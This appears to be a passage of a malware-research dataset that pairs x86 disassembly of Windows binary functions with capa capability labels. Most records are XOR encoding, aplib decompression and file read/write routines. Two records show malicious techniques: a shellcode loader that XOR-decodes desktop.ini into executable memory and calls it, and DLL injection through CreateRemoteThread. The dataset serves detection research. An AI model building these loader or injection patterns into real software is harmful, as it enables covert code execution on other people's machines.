joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa146f0
Capabilities:
Encode data using xor

Disassembly:
mov ax, word [esp + 8]
push ebx
and ax, 0x8000
push esi
mov dx, word [esp + 0x10]
mov ecx, dword [esp + 0xc]
cmp ax, 1
sbb eax, eax
add dx, dx
inc eax
or ax, dx
mov word [esp + 0x10], ax
xor byte [esp + 0x11], al
mov ax, word [esp + 0x10]
and ax, 1
mov dx, word [esp + 0x10]
cmp ax, 1
mov eax, 0
adc eax, 0xffffffff
and ax, 0x8000
shr dx, 1
or ax, dx
mov word [esp + 0x10], ax
and ax, 1
mov dx, word [esp + 0x10]
cmp ax, 1
mov eax, 0
adc eax, 0xffffffff
mov esi, 0x55
and ax, 0x8000
shr dx, 1
or ax, dx
mov word [esp + 0x10], ax
mov eax, 0x58
mov dl, byte [esp + 0x10]
mov bl, byte [esp + 0x10]
and dl, 0x80
add bl, bl
shr dl, 7
add ecx, 2
or dl, bl
mov byte [esp + 0x10], dl
mov dl, byte [esp + 0x11]
and dl, 1
mov bl, byte [esp + 0x11]
shl dl, 7
shr bl, 1
or dl, bl
mov byte [esp + 0x11], dl
mov bl, byte [esp + 0x10]
xor byte [esp + 0x11], bl
mov dx, word [esp + 0x10]
not dx
mov word [esp + 0x10], dx
xor word [ecx - 2], dx
add word [esp + 0x10], si
dec eax
jne 0xa14773
pop esi
pop ebx
ret

Function at 0xa16130
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov cl, byte [esp + 8]
push ebx
mov edx, dword [esp + 0x10]
push esi
xor si, si
push edi
cmp dword [esp + 0x1c], 0
push ebp
je 0xa1615a
movzx eax, si
inc si
xor byte [eax + edx], cl
movzx ebx, si
cmp ebx, dword [esp + 0x20]
jb 0xa16149
xor ax, ax
mov al, cl
and ax, 0xf
mov word [esp + 0x12], ax
mov di, word [esp + 0x20]
xor cl, cl
dec di
mov esi, edx
cmp word [esp + 0x20], 0
je 0xa1619c
mov al, byte [esi]
mov ebp, esi
inc esi
mov bl, cl
shl bl, 7
mov cl, al
shr al, 1
and cl, 1
or al, bl
mov byte [ebp], al
mov bp, di
dec di
test bp, bp
jne 0xa1617b
test cl, cl
je 0xa161a3
or byte [edx], 0x80
mov ax, word [esp + 0x12]
dec word [esp + 0x12]
test ax, ax
jne 0xa16168
xor ax, ax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret

Function at 0xa16500
Capabilities:
Encode data using xor

Disassembly:
xor ax, ax
sub esp, 8
mov al, byte [esp + 0xc]
push ebx
and ax, 0xf
push esi
mov word [esp + 0xa], ax
push edi
mov eax, dword [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0x24]
lea ecx, [eax + ebp - 1]
mov dword [esp + 0x14], ecx
xor cl, cl
mov edi, dword [esp + 0x14]
test bp, bp
lea esi, [ebp - 1]
je 0xa16551
mov bl, byte [edi]
mov eax, edi
dec edi
mov dl, cl
mov cl, bl
add bl, bl
shr cl, 7
or bl, dl
mov byte [eax], bl
mov ax, si
dec si
test ax, ax
jne 0xa16535
test cl, cl
je 0xa1655c
mov eax, dword [esp + 0x14]
or byte [eax], 1
mov ax, word [esp + 0x12]
dec word [esp + 0x12]
test ax, ax
jne 0xa16527
xor si, si
test ebp, ebp
je 0xa16589
mov dl, byte [esp + 0x1c]
mov eax, dword [esp + 0x20]
movzx ecx, si
inc si
xor byte [ecx + eax], dl
movzx ecx, si
cmp ecx, ebp
jb 0xa16572
xor ax, ax
pop ebp
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0xa1a100
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x88
push ebx
lea ecx, [eax + 7]
shr ecx, 3
push esi
push edi
and eax, 7
mov esi, dword [esp + 0x98]
push ebp
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
jne 0xa1a130
mov dword [esp + 0x18], 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x1c]
dec eax
mov dword [esp + 0x24], eax
je 0xa1a222
mov eax, dword [esp + 0x10]
xor dword [esi], eax
mov ecx, dword [esp + 0x14]
xor dword [esi + 4], ecx
cmp dword [esp + 0x20], 0
jne 0xa1a1f2
cmp dword [esp + 0x1c], 2
push 0
jbe 0xa1a1d3
lea eax, [esp + 0x2c]
push eax
push esi
call fcn.00a1a2d0
add esp, 0xc
cmp dword [0xa1ea74], 0
jne 0xa1a2bd
mov eax, dword [esp + 0x28]
lea ebx, [esp + 0x30]
mov edi, 0x19
mov dword [esp + 0x30], eax
mov eax, dword [ebx]
mov cl, 0x20
add eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x28]
mov dword [ebx + 4], eax
add ebx, 4
mov eax, dword [esp + 0x28]
mov edx, dword [ebx - 4]
and dl, 0x1f
sub cl, dl
shl eax, cl
mov cl, dl
shr ebp, cl
or eax, ebp
xor dword [esp + 0x34], eax
dec edi
jne 0xa1a1a4
jmp 0xa1a200
push 0
push esi
call fcn.00a1a2d0
add esp, 0xc
cmp dword [0xa1ea74], 0
je 0xa1a200
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x88
ret
lea eax, [esp + 0x30]
push eax
push esi
call fcn.00a1a610
add esp, 8
mov eax, dword [esi]
add esi, 8
mov dword [esp + 0x10], eax
inc dword [esp + 0x20]
mov ecx, dword [esi - 4]
mov eax, dword [esp + 0x20]
mov dword [esp + 0x14], ecx
cmp eax, dword [esp + 0x24]
jb 0xa1a157
xor eax, eax
cmp dword [esp + 0x18], eax
je 0xa1a238
mov cl, byte [esi + eax]
xor byte [esp + eax + 0x10], cl
inc eax
cmp eax, dword [esp + 0x18]
jb 0xa1a22a
cmp dword [esp + 0x1c], 2
jbe 0xa1a253
lea eax, [esp + 0x30]
lea ecx, [esp + 0x10]
push eax
push ecx
call fcn.00a1a610
add esp, 8
jmp 0xa1a278
cmp dword [esp + 0x1c], 1
jne 0xa1a267
mov eax, dword [esi]
mov dword [esp + 0x10], eax
mov ecx, dword [esi + 4]
mov dword [esp + 0x14], ecx
lea eax, [esp + 0x10]
push 0
push 0
push eax
call fcn.00a1a2d0
add esp, 0xc
cmp dword [esp + 0x1c], 1
jbe 0xa1a2b0
xor eax, eax
cmp dword [esp + 0x18], eax
je 0xa1a297
mov dl, byte [esi + eax - 8]
lea ecx, [esi + eax]
inc eax
mov byte [ecx], dl
cmp eax, dword [esp + 0x18]
jb 0xa1a287
mov eax, dword [esp + 0x10]
mov dword [esi - 8], eax
mov ecx, dword [esp + 0x14]
pop ebp
pop edi
mov dword [esi - 4], ecx
pop esi
pop ebx
add esp, 0x88
ret
mov eax, dword [esp + 0x10]
mov dword [esi], eax
mov ecx, dword [esp + 0x14]
mov dword [esi + 4], ecx
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x88
ret
Function at 0xa1a610
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
push ebx
push esi
push edi
mov eax, dword [edx]
push ebp
mov esi, dword [esp + 0x14]
add edx, 8
mov ebp, 0xc
add dword [esi + 4], eax
mov ecx, dword [edx - 4]
add dword [esi], ecx
mov ebx, dword [esi]
mov edi, dword [esi + 4]
xor edi, ebx
mov cl, 0x20
shr ebx, 4
mov eax, edi
and bl, 0x1f
add edx, 8
sub cl, bl
shr eax, cl
mov cl, bl
shl edi, cl
or eax, edi
mov cl, 0x20
sub eax, dword [edx - 8]
mov dword [esi + 4], eax
mov edi, dword [esi]
xor edi, eax
shr eax, 7
mov ebx, edi
and al, 0x1f
sub cl, al
shr ebx, cl
mov cl, al
shl edi, cl
or ebx, edi
add ebx, dword [edx - 4]
dec ebp
mov dword [esi], ebx
jne 0xa1a62e
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0xa1a680
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x90
push ebx
lea ecx, [eax + 7]
shr ecx, 3
push esi
push edi
and eax, 7
mov ebx, dword [esp + 0xa0]
push ebp
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
jne 0xa1a6b0
mov dword [esp + 0x10], 8
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
cmp dword [esp + 0x14], 1
jbe 0xa1a7a5
mov dword [esp + 0x28], 0
mov eax, dword [esp + 0x14]
sub eax, 2
mov dword [esp + 0x2c], eax
je 0xa1a7a5
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
cmp dword [esp + 0x28], 0
jne 0xa1a765
lea eax, [esp + 0x30]
push 0
push eax
push ebx
call fcn.00a1a2d0
add esp, 0xc
cmp dword [0xa1ea74], 0
jne 0xa1a8a2
mov eax, dword [esp + 0x30]
lea edi, [esp + 0x38]
mov esi, 0x19
mov dword [esp + 0x38], eax
mov eax, dword [edi]
mov cl, 0x20
add eax, dword [esp + 0x34]
mov ebp, dword [esp + 0x30]
mov dword [edi + 4], eax
add edi, 4
mov eax, dword [esp + 0x30]
mov edx, dword [edi - 4]
and dl, 0x1f
sub cl, dl
shl eax, cl
mov cl, dl
shr ebp, cl
or eax, ebp
xor dword [esp + 0x3c], eax
dec esi
jne 0xa1a736
jmp 0xa1a773
lea eax, [esp + 0x38]
push eax
push ebx
call fcn.00a1a8b0
add esp, 8
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
xor dword [ebx], eax
mov edx, dword [esp + 0x20]
xor dword [ebx + 4], ecx
mov eax, dword [esp + 0x24]
add ebx, 8
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], eax
inc dword [esp + 0x28]
mov ecx, dword [esp + 0x28]
cmp ecx, dword [esp + 0x2c]
jb 0xa1a6f4
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x10], eax
je 0xa1a7ce
mov eax, dword [esp + 0x10]
lea esi, [ebx + 8]
lea edi, [esp + 0x18]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [esp + 0x14], 1
jne 0xa1a7f6
push 0
push 0
push ebx
call fcn.00a1a2d0
add esp, 0xc
cmp dword [0xa1ea74], 0
je 0xa1a82c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x90
ret
cmp dword [esp + 0x14], 2
jne 0xa1a81e
push 0
push 0
push ebx
call fcn.00a1a2d0
add esp, 0xc
cmp dword [0xa1ea74], 0
je 0xa1a82c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x90
ret
lea eax, [esp + 0x38]
push eax
push ebx
call fcn.00a1a8b0
add esp, 8
cmp dword [esp + 0x14], 1
jbe 0xa1a895
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
xor dword [esp + 0x18], eax
xor dword [esp + 0x1c], ecx
xor ecx, ecx
cmp dword [esp + 0x10], ecx
je 0xa1a85f
mov dl, byte [ebx + ecx + 8]
lea eax, [ebx + ecx]
inc ecx
mov byte [eax], dl
cmp ecx, dword [esp + 0x10]
mov dl, byte [esp + ecx + 0x17]
mov byte [eax + 8], dl
jb 0xa1a848
cmp dword [esp + 0x14], 2
jne 0xa1a887
push 0
push 0
push ebx
call fcn.00a1a2d0
add esp, 0xc
cmp dword [0xa1ea74], 0
je 0xa1a895
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x90
ret
lea eax, [esp + 0x38]
push eax
push ebx
call fcn.00a1a8b0
add esp, 8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
xor dword [ebx], eax
xor dword [ebx + 4], ecx
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x90
ret
Function at 0xa1a8b0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0xc
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x18]
push ebp
add edi, 0x64
mov ebp, dword [esi]
mov eax, dword [esi + 4]
sub ebp, dword [edi]
mov edx, eax
shr edx, 7
mov ebx, ebp
and dl, 0x1f
mov cl, 0x20
sub cl, dl
sub edi, 8
shl ebx, cl
mov cl, dl
shr ebp, cl
or ebx, ebp
mov cl, 0x20
xor ebx, eax
mov eax, ebx
mov dword [esi], ebx
shr eax, 4
mov edx, dword [edi + 4]
add edx, dword [esi + 4]
and al, 0x1f
mov ebp, edx
sub cl, al
shl ebp, cl
mov cl, al
shr edx, cl
or ebp, edx
xor ebp, ebx
dec dword [esp + 0x10]
mov dword [esi + 4], ebp
jne 0xa1a8ca
mov eax, dword [esp + 0x1c]
pop ebp
pop edi
mov ecx, dword [eax + 4]
sub dword [esi], ecx
mov edx, dword [eax]
sub dword [esi + 4], edx
pop esi
pop ebx
add esp, 4
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x10e78058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x10e781a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10e7807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10e7806a
add dl, dl
jne 0x10e78089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10e780dc
xor eax, eax
add dl, dl
jne 0x10e78096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10e7817d
add dl, dl
jne 0x10e780a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10e780b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10e780bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10e780c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10e780d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10e78075
mov eax, 1
add dl, dl
jne 0x10e780ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10e780f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10e780e1
sub eax, ebx
mov ebx, 1
jne 0x10e78128
mov ecx, 1
add dl, dl
jne 0x10e7810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10e78119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10e78105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10e78075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10e7813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10e7814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10e78136
cmp eax, 0x7d00
jae 0x10e7816d
cmp eax, 0x500
jb 0x10e78168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10e78075
cmp eax, 0x7f
ja 0x10e78170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10e78075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10e7819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10e78075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x4039b8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x4039df
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403f85
jmp 0x403aa3
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x403a07
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x403a0d
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x403a97
jg 0x403a24
test esi, esi
je 0x403a97
test ecx, ecx
jl 0x403a7a
jg 0x403a2e
test eax, eax
je 0x403a7a
cmp edi, ecx
jg 0x403a42
jl 0x403a38
cmp esi, eax
jae 0x403a42
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call fcn.00423470
mov eax, dword [esp + 0x24]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [ebp + 8]
add edx, ecx
sub esi, ecx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x403a97
jg 0x403a7d
test esi, esi
je 0x403a97
jmp 0x403a7d
mov edx, dword [ebp + 8]
cmp dword [ebx + 0x4c], 0
je 0x403a97
push dword [ebx + 0x4c]
push esi
push 1
push edx
call fcn.00427195
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403aac
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
test esi, esi
jg 0x403ad6
jl 0x403acd
test ebx, ebx
jne 0x403ad6
xor eax, eax
xor edx, edx
jmp 0x403b8e
cmp dword [ecx + 0x38], 0
je 0x403ae9
push esi
push ebx
push edx
call fcn.00404065
jmp 0x403b8e
mov eax, dword [ecx + 0x1c]
push edi
mov edi, ebx
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x403b29
mov eax, dword [ecx + 0x2c]
cmp dword [eax], 0
jbe 0x403b29
cmp dword [eax], ebx
mov esi, ebx
cmovb esi, dword [eax]
push esi
push dword [ebp - 0xc]
push edx
call fcn.00423470
mov ecx, dword [ebp - 8]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0x10]
cmp dword [ecx + 0x4c], 0
je 0x403b84
call fcn.0040474f
mov ecx, dword [ebp - 4]
mov edx, edi
cmp edi, 0xfff
jbe 0x403b6c
mov eax, dword [ebp - 8]
push dword [eax + 0x4c]
push 0xfff
push 1
push ecx
call fcn.00427975
mov ecx, dword [ebp - 4]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x403b84
jmp 0x403b39
test edx, edx
je 0x403b84
mov eax, dword [ebp - 8]
push dword [eax + 0x4c]
push edi
push 1
push ecx
call fcn.00427975
add esp, 0x10
sub edi, eax
sub ebx, edi
mov eax, ebx
sbb esi, 0
mov edx, esi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x403dc3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x457040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x403de9
xor eax, eax
jmp 0x403eae
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x403e12
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
add eax, ecx
cmp ecx, eax
jae 0x403e12
dec dword [edx]
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
mov eax, ebx
jmp 0x403eae
cmp dword [esi + 0x4c], 0
je 0x403eac
mov ecx, esi
call fcn.0040474f
mov ecx, dword [esi + 0x38]
mov al, bl
test ecx, ecx
jne 0x403e3e
push dword [esi + 0x4c]
push eax
call fcn.00401fdb
test al, al
pop ecx
pop ecx
cmove ebx, edi
jmp 0x403e0b
mov byte [ebp - 0x28], al
mov eax, dword [ecx]
mov edx, dword [eax + 0x1c]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x403e7c
sub eax, 1
je 0x403e7c
dec eax
sub eax, 1
jne 0x403eac
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x403e30
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x34], eax
je 0x403e9f
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call fcn.00427195
add esp, 0x10
cmp dword [ebp - 0x34], eax
jne 0x403eac
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
cmovne edi, ebx
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085b8
leave
ret 4

Function at 0x40479d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x457040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x38], ebx
je 0x4047f6
cmp byte [esi + 0x3d], bl
je 0x4047f6
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40482f
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, ebx
je 0x404807
sub eax, 1
je 0x40480a
dec eax
sub eax, 1
jne 0x40482f
mov byte [esi + 0x3d], bl
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085b8
leave
ret
mov byte [esi + 0x3d], bl
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x404827
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00427195
add esp, 0x10
cmp edi, eax
jne 0x40482f
cmp byte [esi + 0x3d], bl
sete al
jmp 0x4047f8
xor al, al
jmp 0x4047f8
Function at 0x40661e
Capabilities:
Create thread

Disassembly:
push 0x108
mov eax, 0x445823
call fcn.00444606
mov esi, edx
mov ebx, ecx
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0x14]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10]
push 0x450ed8
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406796
push str.LoadLibraryW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
push ecx
push ecx
push esi
push eax
push ecx
push ecx
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x4067a0
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push esi
call ebx
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x14], 0
je 0x4067c8
mov ecx, dword [ebp - 0x18]
call fcn.00408340
mov ecx, dword [ebp - 0x1c]
mov esi, eax
mov edx, dword [ebp - 0x18]
mov ecx, dword [ecx + 8]
call fcn.0040688b
xor ecx, ecx
add eax, esi
push ecx
push ecx
push dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x1c]
push ecx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x406707
push str.Failed__2__to_run_CreateRemoteThread_on
lea ecx, [ebp - 0x84]
call fcn.00404366
push edi
mov edx, eax
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x6c]
call fcn.00404f15
pop ecx
mov byte [ebp - 4], 8
jmp 0x4067c1
push 0xffffffffffffffff
push esi
call ebx
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x14], 0
jne 0x406790
push str.Failed_to_inject
lea ecx, [ebp - 0xb4]
call fcn.00404366
push dword [ebp - 0x20]
mov edx, eax
mov dword [ebp - 4], 9
lea ecx, [ebp - 0xcc]
call fcn.00404f15
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xe4]
mov edx, eax
mov dword [esp], str._into
call fcn.00404f15
push edi
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xfc]
call fcn.00404f15
push str.__2_
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x114]
call fcn.00404f15
add esp, 0xc
mov byte [ebp - 4], 0xd
jmp 0x40682d
call fcn.004445b5
ret
mov ecx, str.kernel32.dll
call fcn.0040853d
push str.Failed__1__to_run_CreateRemoteThread_on
lea ecx, [ebp - 0x3c]
call fcn.00404366
and dword [ebp - 4], 0
lea ecx, [ebp - 0x54]
push edi
mov edx, eax
call fcn.00404f15
pop ecx
mov byte [ebp - 4], 1
mov ecx, eax
call fcn.004084ec
push str.Failed_to_inject
lea ecx, [ebp - 0x54]
call fcn.00404366
push dword [ebp - 0x20]
mov edx, eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x3c]
call fcn.00404f15
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x9c]
mov edx, eax
mov dword [esp], str._into
call fcn.00404f15
push edi
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x6c]
call fcn.00404f15
push str.__1_
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x84]
call fcn.00404f15
add esp, 0xc
mov byte [ebp - 4], 6
mov ecx, eax
call fcn.00408531
int3